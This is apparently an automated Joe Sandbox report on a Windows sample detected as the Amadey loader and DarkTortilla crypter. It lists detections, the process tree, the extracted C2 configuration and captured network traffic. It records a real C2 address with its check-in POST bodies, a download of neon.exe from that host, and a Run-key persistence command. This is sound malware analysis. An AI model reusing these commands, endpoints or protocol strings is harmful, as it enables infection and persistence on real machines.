Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1519710
MD5:	1e7539ba44850839fb406e206245244d
SHA1:	263b99d973b2cc7a864df03b644fb9d2a3b0a9fd
SHA256:	fb0906df0347080f14321a99068b80c58821df129895552084b47e41204241e6
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, DarkTortilla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected DarkTortilla Crypter

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

file.exe (PID: 3944 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1E7539BA44850839FB406E206245244D)

axplong.exe (PID: 7032 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: 1E7539BA44850839FB406E206245244D)

axplong.exe (PID: 6584 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 1E7539BA44850839FB406E206245244D)

axplong.exe (PID: 4024 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 1E7539BA44850839FB406E206245244D)

neon.exe (PID: 6160 cmdline: "C:\Users\user\AppData\Local\Temp\1000356001\neon.exe" MD5: B3FD0E1003B1CD38402B6D32829F6135)

cmd.exe (PID: 5528 cmdline: "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4368 cmdline: ping 127.0.0.1 -n 7 MD5: 2F46799D79D22AC72C241EC0322B011D)

reg.exe (PID: 6608 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

InstallUtil.exe (PID: 1644 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" MD5: 909A1D386235DD5F6BA61B91BA34119D)

neon.exe (PID: 3996 cmdline: "C:\Users\user\AppData\Local\Temp\neon.exe" MD5: 0E362E7005823D0BEC3719B902ED6D62)

neon.exe (PID: 4816 cmdline: "C:\Users\user\AppData\Local\Temp\neon.exe" MD5: 0E362E7005823D0BEC3719B902ED6D62)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
DarkTortilla	DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.	No Attribution	https://www.secureworks.com/research/darktortilla-malware-analysis	https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2058229773.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2663993052.0000000004940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2099012889.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2123771246.00000000007C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2125174369.00000000007C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.3328015730.0000000015BF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000002.00000003.2083588701.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.3333507125.00000000241A0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
00000003.00000003.2084797690.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.3311651880.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Process Memory Space: neon.exe PID: 6160	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.neon.exe.15bf1a78.4.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
7.2.neon.exe.241a0000.7.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
7.2.neon.exe.241a0000.7.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
6.2.axplong.exe.7c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.axplong.exe.7c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.neon.exe.15bf1a78.4.raw.unpack	JoeSecurity_DarkTortilla	Yara detected DarkTortilla Crypter	Joe Security
2.2.axplong.exe.7c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 6608, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\neon

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5528, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", ProcessId: 6608, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", CommandLine: "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000356001\neon.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe, ParentProcessId: 6160, ParentProcessName: neon.exe, ProcessCommandLine: "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe", ProcessId: 5528, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T21:33:09.123262+0200	2856121	1	A Network Trojan was detected	192.168.2.5	49714	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T21:33:03.826817+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49713	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T21:33:04.112053+0200	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.5	49713	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T21:33:04.334859+0200	2803305	3	Unknown Traffic	192.168.2.5	49713	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/Jo89Ku7d/index.phpn	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php/d	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpncodeda	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/neon.exex.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php6001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php/S(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpW	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpdeda	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=l	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=.inig	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpMS	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpdedX	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpcoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.php?R	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpC	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/C:in	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/neon.exeOF	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php;	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phps	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpnu	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/inc/neon.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.phpNR	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Avira: detection malicious, Label: TR/Agent.able

Found malware configuration

Source: 00000000.00000003.2058229773.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\neon.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:

Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2731548375.0000000000CA8000.00000002.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr

Source: C:\Users\user\AppData\Local\Temp\neon.exe	Code function: 4x nop then jmp 03200B9Fh	14_2_03200960
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Code function: 4x nop then jmp 03200B9Fh	14_2_0320094F
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Code function: 4x nop then jmp 010E0B9Fh	15_2_010E0960
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Code function: 4x nop then jmp 010E0B9Fh	15_2_010E094F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.5:49713
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:49714 -> 185.215.113.16:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.215.113.16

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 7

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Sep 2024 19:33:04 GMTContent-Type: application/octet-streamContent-Length: 3643904Last-Modified: Thu, 26 Sep 2024 19:28:15 GMTConnection: keep-aliveETag: "66f5b5cf-379a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 80 02 85 16 00 00 00 00 00 00 00 00 f0 00 02 01 0b 02 08 00 00 5c 23 00 00 3c 14 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 37 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 23 00 ac 3a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 5b 23 00 00 20 00 00 00 5c 23 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 3a 14 00 00 80 23 00 00 3c 14 00 00 5e 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 58 e5 22 00 54 96 00 00 00 00 02 00 4e 00 00 06 a4 b7 00 00 b2 2d 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 7e 19 bc 80 fc 50 74 80 66 ad 9d 4c 5e 5b 31 e4 77 a8 75 91 fd a0 ce d2 95 17 42 5a c5 46 14 82 e4 aa 21 9b ea df fa 2d 0e 28 9b 04 83 45 11 e2 21 6c 04 7c c1 49 c9 dd 49 e8 ea e5 0d 19 b9 1f 98 1b 66 b2 39 94 f9 96 ac 48 83 d4 04 ca 4f 4f 05 5f 39 58 42 96 c0 9b e0 43 52 01 f4 15 1f f3 6e 7c 6b 68 de 5e a9 8b 72 6c cf 79 c5 f3 d8 7e 99 9a df ad df 60 db 02 5a ca d0 f4 42 f8 a0 97 28 8e 65 87 5f e6 70 a6 b4 ac e5 d4 c6 46 d5 eb 6a d3 67 5a 34 70 13 0e 9f 68 0d 14 8c b3 48 79 ca 37 50 36 8d 51 1e b1 29 39 f7 32 79 07 3a 13 f3 e4 8a 6e 90 46 62 b7 7a 57 e6 f5 d8 5c 19 01 63 6c 09 8e f5 9e 5d 18 b4 b4 31 f9 77 e0 93 98 2d f9 1f a7 28 d9 e7 84 d4 97 ba 36 69 28 d7 cb 20 f6 ce 0d fc ab 1d 55 86 72 b9 db 14 67 40 99 c2 4e c7 de 3d 71 d8 89 83 83 b8 5d e2 27 ad 8b db 64 d9 80 12 86 9a 81 db c8 20 b5 1f 0b 70 6c 57 21 72 1b 5f f8 8e ad 1d 44 88 78 f1 be 71 5f c3 2d fe af 8d bf 87 3c b2 46 03 73 51 23 69 78 13 4c 06 c1 b3 92 2b e2 d5 2c 62 cc fd 22 8e 1c 57 c0 f1

Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /inc/neon.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 33 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000356001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
